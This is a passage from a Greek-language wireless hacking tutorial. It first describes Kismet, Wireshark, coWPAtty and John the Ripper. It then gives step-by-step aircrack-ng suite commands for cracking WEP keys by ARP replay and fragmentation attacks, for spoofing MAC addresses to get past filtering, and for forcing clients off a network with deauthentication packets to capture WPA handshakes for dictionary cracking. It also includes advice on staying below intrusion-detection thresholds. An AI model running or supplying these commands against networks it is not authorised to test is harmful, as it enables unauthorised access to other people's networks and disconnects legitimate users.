✔ Wireshark/Tcpdump συμβατότητα στην καταγραφή δεδομένων✔ Airsnort συμβατότητα στην καταγραφή weak-iv packets✔ Ανίχνευση του εύρους IP ενός δικτύου✔ Ενσωματωμένη λειτουργία channel hopping και multicard split channel hopping✔ Ανίχνευση και αποκάλυψη κρυφών SSID ✔ Γραφική απεικόνιση των δικτύων✔ Αρχιτεκτονική Client/Server που επιτρέπει τη σύνδεση πολλών client σε έναν kismet server ταυτόχρονα ✔ Αναγνώριση μοντέλου/κατασκευαστή των APs και των clients✔ Ανιχνεύει εάν το AP χρησιμοποιεί τις default εργοστασιακές ρυθμίσεις✔ Αποκωδικοποιεί WEP packets realtime για γνωστά δίκτυα✔ Named pipe έξοδος για σύνδεση με άλλα εργαλεία όπως πχ το Snort✔ Συγχρονίζει την ταυτόχρονη λήψη από διαφορετικές πηγές, στο ίδιο Kismet instance✔ Μπορεί να διανέμει απομακρυσμένα το σνιφάρισμα πακέτων από instances του (remote drones)✔ XML output✔ Υποστηρίζει πάνω από 20 τύπους καρτών

Σε αντίθεση με άλλα προγράμματα, το Kismet λειτουργεί παθητικά, δηλαδή, χωρίς να στέλνει κανένα πακέτο, μπορεί να ανιχνεύει την ύπαρξη APs και clients και να τα συσχετίζει μεταξύ τους. Για την ανεύρεση όσο το δυνατόν περισσότερων δικτύων, συνεχώς αλλάζει το κανάλι στο οποίο “ακούει” (channel hopping) με μια μη γραμμική σειρά. Επίσης υποστηρίζει τον προσδιορισμό της γεωγραφικής θέσης ενός δικτύου, αν συνδεθεί με ένα GPS. [περιεχόμενα]

Page 19: Wifi Bye Bye

Η server/drone/client αρχιτεκτονική του, επιτρέπει ταυτόχρονα drones να συλλέγουν πακέτα, ο server να τα επεξεργάζεται και οι clients να βλέπουν τα αποτελέσματα.Τρέχει σε Unix, Linux, Mac Os X (KisMAC), *BSDs και windoze (με περιορισμούς στο τελευταίο)

Τυπικές χρήσεις του είναι:

• Wardriving: Mobile detection of wireless networks, logging and mapping of network location, WEP, etc.

• Site survey: Monitoring and graphing signal strength and location. • Distributed IDS: Multiple Remote Drone sniffers distributed throughout an installation monitored by a

single server, possibly combined with a layer3 IDS like Snort. • Rogue AP Detection: Stationary or mobile sniffers to enforce site policy against rogue access points.

Λίγα πράγματα για τη λειτουργία του Kismet εντελώς αναφορικά:

Interface: - Name : SSID του δικτύου - T : Tύπος του δικτύου - W : Δείχνει εάν το δίκτυο χρησιμοποιεί κάποιου είδους ασφάλεια ή όχι - Ch : Το κανάλι στο οποίο βρίσκεται το AP - Packts : Αριθμός πακέτων που έχουν καταγραφεί - Flags : Η μέθοδος με την οποία συλλέχθηκε η IP (πχ. A4 σημαίνει πως διαβάστηκε από ARP πακέτο) - IP Range : Το εύρος της IP του δικτύου - Size : Συνολικό μέγεθος των πακέτων που έχουν καταγραφεί από το AP

Πως αναγνωρίζουμε το είδος προστασίας ενός δικτύου: Τα “ασφαλή” δίκτυα είναι πάντοτε χρωματισμένα με πράσινο και η στήλη W δείχνει είτε Y (Yes) για WEP, είτε O (Other) για όλα τα άλλα είδη (WPA/TKIP/LEAP/EAP/TLS). Όταν δείτε το O σε κάποιο δίκτυο, επιλέξτε το και πατήστε το Ι (Information) και βρείτε το πεδίο Encrypt για να δείτε συγκεκριμένα το είδος προστασίας που χρησιμοποιείται.

Χρωματικός κώδικας: Το Kismet χρωματίζει τα δίκτυα που εντοπίζει, κάνοντας πιο εύκολη την οπτική τους αναγνώριση. Ισχύουν οι παρακάτω συνδυασμοί: - Κίτρινο : Χωρίς προστασία - Κόκκινο : Δίκτυα με αυτό το χρώμα, χρησιμοποιούν τις factory default ρυθμίσεις - Πράσινο : Δίκτυα με κάποιου είδους προστασία - Μπλε : Αυτά είναι τα κρυφά δίκτυα

Τύπος δικτύου: - A – Access Point - H (Ad-Hoc) - ad-hoc point-to-point wireless δίκτυο - P (Probe request) – Ένας client που δεν έχει συνδεθεί με κανένα δίκτυο, αλλά ψάχνει - D (Data) - Data network - T (Turbocell) - Turbocell network - G (Group) - Group δικτύων (όταν έχουμε ομαδοποιήσει δίκτυα)

Επιπλέον επιλογές: e – Άνοιγμα ενός popup παραθύρου των kismet servers ώστε να μπορεί να γίνει ταυτόχρονη παρακολούθηση τους z - Zoom σε πλήρη οθόνη ή επιστροφή από προβολή πλήρους οθόνης m – Σίγαση ήχου και ομιλίας ή επαναφορά (πρέπει να είναι ενεργοποιημένος ο ήχος ή η ομιλία στο config) t – Επιλογή ή αποεπιλογή του δικτύου g – Ομαδοποίηση των επιλεγμένων δικτύων u – Διάλυση του group ομαδοποιημένων δικτύων [περιεχόμενα]

Page 20: Wifi Bye Bye

c – Άνοιγμα ενός popup για την εμφάνιση των clients στο επιλεγμένο δίκτυο n – Αλλαγή ονόματος του επιλεγμένου δικτύου ή group i – Εμφάνιση λεπτομερών πληροφοριών για το επιλεγμένο δίκτυο s – Αλλαγή στην ταξινόμηση των δικτύων l - Εμφάνιση επιπέδων signal/power/noise εάν η κάρτα το υποστηρίζει r – Εμφάνιση μιας γραφικής μπάρας του ρυθμού λήψης πακέτων a – Στατιστικά p – Εμφάνιση του είδους των πακέτων κατά την πρόσληψή τους f – Ακολουθεί το υπολογισμένο “κέντρο” του δικτύου και εμφανίζει μια πηξίδα w – Εμφάνιση όλων των προηγούμενων alerts και warnings.

Wireshark To wireshark (πρώην ethereal) είναι ένα πρόγραμμα συλλογής πακέτων και ανάλυσης πρωτοκόλλων σχετικά με τα πακέτα αυτά, που διακινούνται σε ένα δίκτυο. Όπως και άλλα προγράμματα, χρησιμοποιεί τη βιβλιοθήκη Pcap για τη σύλληψη/ανάλυση των πακέτων. Η κάρτα πρέπει να μπορεί να μπει σε monitor mode (ή promiscuous mode αν πρόκειται για ethernet)

Μερικά χαρακτηριστικά του:

• Τρέχει σε Windows, Linux, OS X, Solaris, FreeBSD, NetBSD• Αναγνωρίζει εκατοντάδες προτόκολλα• Live καταγραφή δεδομένων ή ανάγνωσή τους από αρχείο (βλ πιο κάτω για υποστηριζόμενα format)• Gui και cli (TTY-mode TShark) • Ανάλυση VoIP • Υποστηρίζει τα εξής capture formats: tcpdump (libpcap), Pcap NG, Catapult DCT2000, Cisco Secure

IDS iplog, Microsoft Network Monitor, Network General Sniffer, Sniffer Pro, and NetXray, Network Instruments Observer, NetScreen snoop, Novell LANalyzer, RADCOM WAN/LAN Analyzer, Shomiti/Finisar Surveyor, Tektronix K12xx, Visual Networks Visual UpTime, WildPackets EtherPeek/TokenPeek/AiroPeek, κ.α

• Μπορεί να καταγράψει/διαβάσει δεδομένα από Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI κλπ

• Υποστήριξη αποκρυπτογράφησης για διάφορα πρωτόκολλα όπως IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP και WPA/WPA2

• Χρωματικούς συνδυασμούς για εύκολη οπτική διαχείριση των πακέτων• Output σε XML, PostScript, CSV ή απλό κείμενο

Με το wireshark μπορούμε να αναγνωρίσουμε όλα τα πακέτα που μας χρειάζονται όπως iv packets, EAPOL WPA handshakes, QoS packets, ARPs κλπκλπ

περισσότερα:http://www.wireshark.org

coWPAtty To coWPAtty είναι ένα εργαλείο bruteforce και dictionary attack, το οποίο είναι σχεδιασμένο για χρήση με WPA/WPA2 handshakes.

Usage: cowpatty [options]

-f Dictionary file -r Packet capture file -s Network SSID -h Print this help information and exit -v Print verbose information (more -v for more verbosity) -V Print program version and exit

[περιεχόμενα]

Page 21: Wifi Bye Bye

John the ripper Πρόκειται για ένα δημοφιλές password cracking εργαλείο. Υποστηρίζει 15(!!) διαφορετικές πλατφόρμες, δηλαδή μπορείτε να το τρέξετε σχεδόν παντού. Μπορεί να σπάσει κρυπτογραφημένες πληροφορίες με DES, MD5, Blowfish, Kerberos AFS, WinNT/2000/XPκλπ LM hashes. Με plugins μπορεί να σπάσει και MD4, LDAP passwords, mysql κλπ κλπ. Ανιχνεύει αυτόματα το είδος κρυπτογράφησης απέναντι στο οποίο μπορεί να εφαρμόσει dictionary/bruteforce attacks. Μια πολύ ενδιαφέρουσα δυνατότητα είναι τα rules του, με τα οποία μπορούμε να αντικαταστήσουμε το ο με το 0, το i με το 1, το a με το @ και πάει λέγοντας. Έτσι θα μπορούσαμε να δώσουμε στο coWPAtty το output ενός dictionary από τον JtR τα rules του οποίου θα μετατρέψουν τις στάνταρ λέξεις του dictionary:

john –-wordlist=all.lst –-rules –-stdout | cowpatty -r wpapsk.dump -s "linksys" -

Περισσότερα: http://www.openwall.com/john/

BackΤrack To BackΤrack είναι μια live διανομή Linux, βασισμένη στο Slackware και περιέχει περισσότερα εργαλεία για penetration testing απόσα θα χρειαστούμε ποτέ (πάνω από 300). Έχει το πλεονέκτημα πως υπάρχουν ήδη σε αυτό patched drivers και προεγκατεστημένες οι απαραίτητες εφαρμογές, όλα λίγο-πολύ είναι έτοιμα και σε περιμένουν. Υπάρχει εδώ: http://www.remote-exploit.org/backtrack.html documentation: http://wiki.remote-exploit.org

Συμβατό hardware

Δεν είναι όλες οι κάρτες συμβατές με τα εργαλεία της aircrack-ng σουήτας. Συγκεκριμένα, τα μόνα wireless chips που είναι από πλήρως μέχρι πολύ συμβατά είναι τα εξής:

chipset driver παρατηρήσειςatheros madwifiBroadcom bcm43xxb43 b43Centrino a/b/g ipw2915/3945 ipw2915 uses ipw2200 driver Centrino a/g/n (5xxx) 4965AGN Υπο κατασκευήPrism2/3 HostAP/wlan-ngPrismGT FullMAC prism54Ralink Rt2x00,RT2570USB,

RT73USBrt2500, rt2570, rt61, rt73

RTL8185 mac80211 RTL8187B/RTL8197 RTL8187RTL8187L Rtl8187,rtl8187bTI (ACX100/ACX111) ACX100/ACX111

[περιεχόμενα]

Page 22: Wifi Bye Bye

Σε αρκετές περιπτώσεις οι drivers χρειάζονται patching. Μέχρι στιγμής οι καλύτερες κάρτες είναι αυτές με atheros chip πχ SMC-EZconnect & Ezconnect2, Level One wc-0300, Netgear WAG511, D-Link DWL-G550, Thinkpad 11a/b/g κλπ κλπ για περισσότερα: http://www.aircrack-ng.org/doku.php?id=compatibility_drivers 9.WEP cracking

Injection attackΣε αυτή την κλασσική επίθεση, σκοπός μας είναι να μαζέψουμε όσο το δυνατό πιο πολλά πακέτα σε όσο μικρότερο χρόνο γίνεται, ώστε μετά να σπάσουμε το WEP key και η όλη διαδικασία να κρατήσει λίγα μόνο λεπτά. Υποθέτουμε πως έχουμε κάρτα με chip atheros.

1) ενεργοποιούμε το monitor mode στην κάρτα [1]modprobe ath_pcimodprobe ipwraw

2) αλλάζουμε τη mac address της κάρτας (πρέπει να ρίξουμε το interface)iwconfig airmon-ng stop ath0 ifconfig wifi0 down macchanger –mac 00:11:22:33:44:66 wifi0

3) ξεκινάμε το interface σε monitor modeairmon-ng start wifi0

4) ψάχνουμε για διαθέσιμα APsairodump-ng ath0

ας πούμε πως βρήκαμε ένα ΑP με χαρακτηριστικά: ESSID: connex mac: 00:21:21:21:21:21 channel: 6

5) αρχίζουμε τη συλλογή πακέτωνairodump-ng -c 6 -w network.out –bssid 00:21:21:21:21:21 ath0

-c = κανάλι του AP-w = γράψε στο αρχείο (network.out – είναι prefix του αρχείου, διαδοχικές εγγραφές παράγουν αρχείο με ονόματα network.out-01, -02, -03 κλπ)--bssid = η mac του APath0 = το wireless interface μας

6) κάνουμε fake association στο AP, ώστε να μπορούμε να του στείλουμε πακέτα (*)aireplay-ng -1 0 -a 00:21:21:21:21:21 -h 00:11:22:33:44:66 -e connex ath0Αν πετύχει πρέπει να δούμε στο τερματικό:Association successful :-)

-1 = fake authentication (0 = delay για απάντηση από το AP)-a = η mac του AP [περιεχόμενα]

Page 23: Wifi Bye Bye

-h = η δική μας mac-e = το essid όνομα του ΑPath0 = το interface μας

7) αρχίζουμε την αποστολή πακέτων στο APaireplay-ng -3 -b 00:21:21:21:21:21 -h 00:11:22:33:44:66 ath0

-3 = arp replay attack-b = η mac του AP-h = η δική μας macchangerath0 = το wireless interface μας

αν ο παραπάνω τρόπος αποτύχει ή είναι πολύ αργός, δοκιμάζουμε τον παρακάτω:aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:21:21:21:21:21 -h 00:11:22:33:44:66 ath0

η τεχνική αυτή επιτρέπει την επαναπροώθηση οποιουδήποτε πακέτου που έχει ληφθεί από το AP-2 = interactive packet replay -p 0841 = θέτει το πεδίο Frame Control έτσι ώστε το πακέτο να φαίνεται πως προέρχεται από έναν wireless client-c = θέτουμε την destination mac address να είναι η broadcast ούτως ώστε το πακέτο να επαναπροωθηθεί από το AP, με ένα νέο IV φυσικά!-b = η mac του AP-h = η δική μας macchanger

8) ήρθε η ώρα να σπάσουμε το WEP keyaircrack-ng -n 128 -b 00:21:21:21:21:21 network.out-01.cap

-n 128 = μέγεθος WEP κλειδιού-b = η mac του APnetwork.out-01.cap = το αρχείο με τα πακέτα που καταγράψαμε στο (5)

*) Δεν είναι σίγουρο πως θα καταφέρουμε (ή πως μπορούμε) να συνδεθούμε στο AP, οπότε θα πρέπει να περιμένουμε να σταλούν πακέτα από κάποιον client ώστε να τα ψαρέψουμε στη συνέχεια εμείς. Συνεπώς τα βήματα 6 και 7 δεν είναι χρήσιμα στην περίπτωση αυτή.

10.WEP cracking revisited Fragmentation attack

Σε περίπτωση που στο δίκτυο δεν είναι συνδεδεμένοι καθόλου clients μπορούμε να δοκιμάσουμε την fragmentation attack. O σκοπός είναι να καταφέρουμε να συλλέξουμε τόση RPGA ώστε να κατασκευάσουμε ένα έγκυρο ARP request πακέτο το οποίο θα στείλουμε στο access point ώστε αυτό να απαντήσει και συνεχίζοντας να το στέλνουμε, τελικά να μαζέψουμε τα πακέτα που χρειαζόμαστε.

1) ψάχνουμε για διαθέσιμα APsairodump-ng ath0

ας πούμε πως βρίσκουμε το AP με channel = 7 [περιεχόμενα]

Page 24: Wifi Bye Bye

2) Ξαναβάζουμε την κάρτα σε monitor mode στο κανάλι 7airmon-ng stop ath0 airmon-ng start wifi0 7

3) Κάνουμε association με το APaireplay-ng -1 0 -e [όνομα AP] -a [mac ΑP] -h [mac της κάρτας] ath0

-1 = Fake authentication με το AP-e = essid (το όνομα του AP)-a = Mac address του AP (bssid)-h = mac address της κάρτας(source)

*Για τα Atheros chipsets η MAC address της κάρτας πρέπει να είναι ίδια με αυτής των πακέτων που θα χρησιμοποιήσουμε

4) Φτιάχνουμε μια έγκυρη keystream με το aireplay-ngaireplay-ng -5 -b [mac AP] -h [mac κάρτας] ath0

-5 = fragment:κατασκευή έγκυρης keystream-b = AP mac address (bssid)-h = mac address της κάρτας(source)ath0 = το wireless interface extension

5) Δημιουργούμε ένα πακέτο ARP request με το packetforge-ngpacketforge-ng -0 -a [mac AP] -h [mac κάρτας] -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0206-131211.xor -w arp-request

-0 = κατασκευή ενός πακέτου ARP -a = bssid-h = η mac της κάρτας-k = set Destination IP-l = set Source IP-y = διάβασε την PRGA από το αρχείο (αυτό που καταγράψαμε στο (4) )-w = γράψε το πακέτο σε αυτό το αρχείο pcap

6) Καταγράφουμε τα πακέτα σε ένα αρχείο με το airodump-ngairodump-ng -c 7 --bssid [mac AP] -w wep ath0

-c = κανάλι του AP-bssid = mac του AP-w = αρχείο που θα καταγραφεί και η dateath0 = το wireless interface extension

7) Κάνουμε inject το πακέτο που έχουμε ήδη φτιάξειaireplay-ng -2 -r arp-request ath0

-2 = interactive frame selection (injection)-r = διάβασε εξτρά πακέτα από αυτό το αρχείο (αυτό που δημιουργήσαμε στο (5) ) [περιεχόμενα]

Page 25: Wifi Bye Bye

8) Προσπαθούμε να σπάσουμε το WEP keyaircrack-ng -P 2 -b 00:18:F6:AC:11:13 wep*.cap

-P = PTW debug mode 2 = PTW μέθοδος (Pyshkin/Tews/Weinmann)-b = bssid του AP

11. Δεν υπάρχουν προβλήματα...

Δεν υπάρχει traffic Εφόσον δεν υπάρχει κίνηση στο δίκτυο, δεν μπορούμε να καταγράψουμε πακέτα με τα IVs που χρειαζόμαστε. Αυτό που χρειάζεται να κάνουμε είναι να κάνουμε injection ώστε να αρχίσει το AP να στέλνει τα πακέτα που χρειαζόμαστε.

MAC Address filteringΌταν προσπαθούμε να κάνουμε injection, fake authentication κλπ και το AP μας αγνοεί συστηματικά, τότε είναι πιθανό οι mac address να φιλτράρονται ώστε μόνο οι clients με συγκεκριμένες mac addresses να μπορούν να συνδεθούν με αυτό. Μια λύση είναι να δούμε από το airodump τους ήδη συνδεδεμένους clients και να αλλάξουμε τη mac μας με τη δική τους, ώστε να ξεγελάσουμε το AP. Εάν χρειαστεί μπορούμε να αποσυνδέσουμε τον νόμιμο client στέλνοντας ένα deauthentication πακέτο.Με την επιλογή -m το aircrack μπορεί να φιλτράρει πακέτα με βάση την mac address

Έχουμε μαζέψει ένα κάρο IVs, αλλά δε γίνεται τίποτα Μερικές από τις επιθέσεις μπορεί να δώσουν λάθος keys οπότε μπορούμε να δοκιμάσουμε διαφορετικές με την επιλογή: -k N (όπου Ν=1..17) ή -y. (βλ. Aircrack και χρήση του) Μπορούμε επίσης να αυξήσουμε τον fudge factor (-f) . Η default τιμή του είναι 2 και όσο μεγαλύτερη η τιμή, τόσο μεγαλύτερες οι πιθανότητες να σπάσουμε το κλειδί, αλλά ταυτόχρονα μεγαλώνει και ο χρόνος που θα χρειαστεί για να γίνει αυτό.

Τα έκανα όλα αυτά, αλλά τίποταΒρες το AP ακολουθώντας την ισχύ του σήματος και ρώτα τον κάτοχό του ποιο είναι το κλειδί :P

12.WPA cracking

Στο επόμενο τουτόριαλ, θα χρησιμοποιήσουμε περισσότερα εργαλεία τα οποία προαναφέραμε, το kismet για reconing, το wireshark για packet filtering, τα coWPAtty και JtR για dictionary attacks. Το τουτόριαλ στο μεγαλύτερο μέρος του είναι βασισμένο σε αυτό από την ιστοσελίδα:http://www.smallnetbuilder.com/content/view/30278/98/1/1/

εκτός από σημεία που παραλήφθηκαν για λόγους συντομίας και απλότητας και κάποια λίγα που έχουν προστεθεί για λόγους ..κατανόησης.

Πάμε λοιπόν!

“Recon” με το Kismet

Ανοίξτε το Kismet (Backtrack > Radio Network Analysis > 80211 > Analyzer). H version 3 περιλαμβάνει έναν wizzard μέσω του οποίου μπορούμε να επιλέξουμε το wireless interface που έχουμε (ή θέλουμε). [περιεχόμενα]

Page 26: Wifi Bye Bye

Αν αυτό δεν πετύχει ή αν χρησιμοποιούμε παλιότερη έκδοσή του, πρέπει να προσθέσουμε μια γραμμή στο /usr/local/etc/kismet.conf ώστε χειροκίνητα να του δώσουμε το interface:

για παράδειγμα:

/usr/local/etc/kismet.conf -- Line 25:source=madwifing_g,wifi0,kis0Μετά ξεκινάμε το Kismet από μια κονσόλα:

bt ~ # kismet

Το kismet είναι ένα υπέροχο εργαλείο εποπτείας δικτύων, αλλά αυτό είναι ένα από τα πολλά του ταλέντα. Μπορεί να καταγράψει raw packets, τα οποία μπορούμε να χρησιμοποιήσουμε μετά για να σπάσουμε κάποιο αδύναμο PSK, έχοντας καταγράψει τη σύνδεση ενός client με το AP. Έχει επίσης κάποιες ενδιαφέρουσες προειδοποιήσεις για πιθανούς “κακούς” εντός της εμβέλειας του interface. Επίσης η συλλογή και καταγραφή των πακέτων γίνεται εντελώς παθητικά οπότε και είναι αδύνατο να εντοπιστεί. Αν οποιαδήποτε στιγμή χρειαστείτε βοήθεια από το kismet, πατώντας το “h” θα εμφανιστεί ένα help menu με τις σχετικές επιλογές ανάλογα με το που βρίσκεστε εκείνη τη στιγμή.

Στο κυρίως παράθυρο, τα δίκτυα είναι χρωματισμένα ανάλογα με το αν χρησιμοποιούν κρυπτογράφηση, αν είναι κρυφά, αν έχουν τις default ρυθμίσεις κλπ. Η στήλη “W” δείχνει με ένα γράμμα το είδος της προστασίας: None ("W"), WEP ("Y"), ή WPA ("O" για Other). H στήλη “Ch” όπως φαντάζεστε δείχνει το κανάλι του AP. Η στήλη “Pacts” δείχνει τον αριθμό των πακέτων που έχει καταγράψει το Kismet από το κάθε AP. Αυτό μπορεί να χρησιμοποιηθεί ως ένδειξη για την ποιότητα του σήματος και τον φόρτο του δικτύου. Περισσότερος φόρτος στο δίκτυο συνήθως σημαίνει πιθανώς περισσότεροι clients συνδεδεμένοι στο AP, πράγμα που αυξάνει τις πιθανότητες να καταγράψουμε μια handshake παθητικά.

Το kismet εξαρχής ξεκινά σε autofit mode, όπου μπορούμε να ταξινομήσουμε τα δίκτυα και να δούμε τη σελίδα με τις λεπτομέρειες του κάθε δικτύου. Αυτό γίνεται κάνοντας highlight το δίκτυο που θέλουμε και πατώντας στη συνέχεια το enter. Από τη σελίδα αυτή μπορούμε να δούμε διάφορα στοιχεία του δικτύου. Αυτά που κυρίως μας ενδιαφέρουν είναι το encryption scheme, το BSSID και τον αριθμό των clients που είναι συνδεδεμένοι με το AP. Πατώντας το “c” καθώς βρισκόμαστε στην εν λόγω σελίδα το kismet θα δείξει τους συνδεδεμένους clients. Γενικά ψάχνουμε για clients με τύπο Established ("E") ή To DS ("T") (φαίνεται από την “T” στήλη).

Passive Attack

Στην παθητική επίθεση, το μόνο που χρειάζεται να κάνουμε είναι να ξεκινήσουμε το kismet,να επιλέξουμε το δίκτυο που θέλουμε, να το βάλουμε να ακούει στο κατάλληλο κανάλι, και να περιμένουμε όσο το kismet θα μαζεύει πακέτα. Την ίδια δουλειά μπορούμε να κάνουμε και με το airodump-ng, αλλά το kismet μας δίνει και περισσότερες πληροφορίες, αλλά και καλύτερο έλεγχο. Το μόνο που δεν κάνει είναι να μας ειδοποιεί όταν εμφανιστεί μια πετυχημένη four-way handshake, πράγμα που το airodump-ng κάνει, αλλά αυτό είναι κάτι που ξεπερνιέται εύκολα.

Τα βήματα γενικά που χρειάζεται να κάνουμε σε μια passive WPA-PSK attack είναι:

• Ξεκινάμε το Kismet • Τακτοποιούμε τα δίκτυα (πχ: ανά channel, πατάμε "s" και μετά "c") • Κλειδώνουμε στο κανάλι που μας ενδιαφέρει (highlight το AP και πατάμε "L") • Περιμένουμε έως ότου συνδεθεί ένας πελάτης ώστε να καταγράψουμε τη handshake

Active Attack

Χρησιμοποιώντας τις πληροφορίες που συγκεντρώσαμε από το Kismet, μπορούμε τώρα να στοχεύσουμε associated clients ενός συγκεκριμένου AP που μας βολεύει. Σκοπός μας είναι να προκαλέσουμε την αποσύνδεσή τους, στέλνοντάς τους deauthentication packets, ώστε να αναγκαστούν να επαναλάβουν τη [περιεχόμενα]

Page 27: Wifi Bye Bye

διαδικασία σύνδεσης. Ταυτόχρονα εμείς θα περιμένουμε αναπαυτικά ακούγοντας για την πολυπόθητη four-way handshake. Αυτή τη φορά είναι κάπως πιο περίπλοκη η διαδικασία και επίσης είναι ανιχνεύσιμη εφόσον εμείς στέλνουμε πακέτα. Είναι όμως γρηγορότερη από το να περιμένουμε για μια “κανονική” association (τουλάχιστον στις περισσότερες περιπτώσεις)

Αφότου έχουμε επιλέξει το AP και έχουμε καταγράψει τα βασικά του χαρακτηριστικά, γυρίζουμε την κάρτα σε monitor mode.

- Ρίχνουμε το VAP (Virtual Access Point):

airmon-ng stop ath0 (υποθέτουμε πως η κάρτα είναι atheros)

- Μετά το ανεβάζουμε πάλι, αυτή τη φορά σε monitor mode

airmon-ng start wifi0

Τώρα χρειάζεται ταυτόχρονα να κάνουμε deauthentication στον client και να καταγράψουμε το authentication που θα κάνει στη συνέχεια. Γιαυτό θα ανοίξουμε δύο terminal windows. Στο πρώτη θα ξεκινήσουμε το airodump-ng για να καταγράψουμε τα πακέτα που χρειαζόμαστε ή απλά για να μας ειδοποιήσει πως μια handshake έχει γίνει (στην περίπτωση που καταγράφουμε τα πακέτα με το kismet):

Γενική μορφή:

airodump-ng -w capture_file_prefix --channel channel_number interface

Παράδειγμα:

airodump-ng -w cap --channel 6 ath0

Μετά και στο άλλο terminal κάνουμε deauthentication attack με το aireplay-ng:

Γενική μορφή:

aireplay-ng --deauth 1 -a MAC_of_AP -c MAC_of_client interface

Παράδειγμα:

aireplay-ng --deauth 1 -a 00:18:E7:02:4C:E6 -c 00:13:CE:21:54:14 ath0

Εάν όλα πήγαν καλά, ο client πρέπει να έχει αποσυνδεθεί από το AP και (συνήθως) να έχει προσπαθήσει επανασύνδεση (reauthentication). Επειδή προγράμματα όπως το Kismet μπορούν να ανιχνεύσουν deauthentication floods, είναι καλό να κρατάμε τον αριθμό των πακέτων που στέλνουμε σε έναν μίνιμουμ αριθμό, αν αρκεί και ένα πακέτο μόνο για να πετύχουμε, ακόμη καλύτερα.

Εάν η διαδικασία ήταν επιτυχής, το airodump-ng εμφανίζει μια ειδοποίηση πως έχει καταγράψει ένα reauthentication event.

Βρίσκοντας την Four-way Handshake

Για να σιγουρευτούμε πως έχουμε όντως καταγράψει μια authentication handshake, μπορούμε να χρησιμοποιήσουμε το Wireshark, το οποίο μας επιτρέπει να δούμε τα περιεχόμενα των καταγεγραμμένων πακέτων και να τα ταξινομήσουμε έτσι ώστε να βρούμε τη WPA handshake.

Ανοίγουμε το Wireshark (Backtrack > Privilege Escalation > Sniffers) και ανοίγουμε το αρχείο καταγραφής του Kismet (Kismet-<date>.dump). H WPA four-way handshake χρησιμοποιεί το Extensible Authentication Protocol over LAN (EAPoL). Για να πούμε στο Wireshark να φιλτράρει μόνο τα EAPoL πακέτα, [περιεχόμενα]

Page 28: Wifi Bye Bye

εισάγουμε τη λέξη “eapol” στο πεδίο [filter]. Αυτό που ψάχνουμε είναι τέσσερα πακέτα τα οποία εναλλάσσουν πηγή, client-AP-client-AP. Όταν έχουμε πλέον επιβεβαιώσει πως έχουμε καταγράψει μια handshake, μπορούμε να προχωρήσουμε στο επόμενο βήμα.

Δοκιμάζοντας το Crack

Η Wi-Fi Alliance ήταν αρκετά έξυπνη να επιβάλλει ένα μίνιμουμ οκτώ χαρακτήρων στο WPA-PSK. Κάνοντας το κλειδί τόσο μεγάλο (τουλάχιστον) ουσιαστικά αχρηστεύει τις bruteforce attacks, μιας και ο αριθμός των πιθανών συνδυασμών χαρακτήρων ανέρχεται στο διαστημικό...6 τετράκις εκατομμυρίων (αυτό είναι 948 ή περίπου 6 χ 1015). Εάν λοιπόν το pc μας μπορεί να χειριστεί 35 hashes ανά δευτερόλεπτο, θα μας έπαιρνε περίπου...5μιση εκατομμύρια χρόνια να δημιουργήσουμε ένα hash table για έναν κωδικό μήκους 8 χαρακτήρων. Που να είχε και περισσότερους δηλαδή.

Αλλά έχει και συνέχεια το “καλό”. Το hash αυτό αναμιγνύεται (salted) με το SSID του AP, οπότε αυτό το hash table που μας πήρε 5μιση εκατομμύρια χρόνια να δημιουργήσουμε, θα ήταν χρήσιμο μόνο για APs με το συγκεκριμένο SSID. Συνεπώς δεν πρόκειται να σπάσουμε κανένα WPA key με brutforce σύντομα...

Αυτό που μπορούμε να κάνουμε όμως, είναι να περιορίσουμε τη λίστα των πιθανών passphrases κάνοντας στοχευμένες εικασίες, να υπολογίσουμε τα hashes αυτών και να τα ελέγξουμε ενάντια στο κλειδί που έχουμε καταγράψει. Αυτή η τεχνική είναι η dictionary attack.

To BackTrack 2 έρχεται με κάποιες αρκετά καλές, αλλά απλές, λίστες λέξεων, καθώς και τέσσερις λίστες με κωδικούς αρκετά συχνούς, ταξινομημένους κατά συχνότητα (τα πιο κοινά passwords είναι στην κορυφή). Στην περίπτωση που η έκδοση του Backtrack που χρησιμοποιούμε δεν έχει, μπορούμε να βρούμε αρκετές τέτοιες λίστες στο διαδίκτυο.

Χρησιμοποιώντας λοιπόν αυτές τις λίστες, μπορούμε να εφαρμόσουμε μια dictionary attack στην καταγεγραμμένη WPA handshake χρησιμοποιώντας είτε το aircrack-ng, είτε το coWPAtty. Γενικώς το aircrack-ng τρέχει γρηγορότερα και υποστηρίζει εγγενώς πολλαπλούς επεξεργαστές. Από την άλλη το πιο αργό coWPAtty μπορεί να δεχτεί προϋπολογισμένα hashes από άλλα προγράμματα ως είσοδο.

aircrack-ng attack

Γενική μορφή

aircrack-ng -e AP_SID -w dictionary_file capture_file

Παράδειγμα (BackTrack v3):

aircrack-ng -e snb -w /pentest/wireless/cowpatty-4.0/dict Kismet-Jan-15-2008-1.dump Aircrack-ng 0.8 [00:00:00] 2 keys tested (37.20 k/s) KEY FOUND! [ 12345678 ] Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB

[περιεχόμενα]

Page 29: Wifi Bye Bye

Το aircrack-ng δείχνει τα δεκαεξαδικά hashes των κλειδιών καθώς τα δοκιμάζει, πράγμα που είναι καλό μιας και ορισμένες επιθέσεις μπορεί να πάρουν πολληηή ώωρααα

coWPAtty

Καταρχήν είτε ανοίγουμε το coWPAtty από το μενού, είτε από τη γραμμή εντολών πηγαίνουμε στο:

/pentest/wireless/cowpatty-4.0. Then run:

Γενική μορφή:

./cowpatty -s AP_SID -f dictionary_file -r capture_file

Παράδειγμα:

./cowpatty -s snb -f dict -r Kismet-Jan-15-2008-1.dump

Το coWPAtty δεν είναι τόσο ομιλητικό όσο το aircrack για το τι κάνει, αλλά δείχνει updates κάθε 1000 κλειδιά που δοκιμάζει.

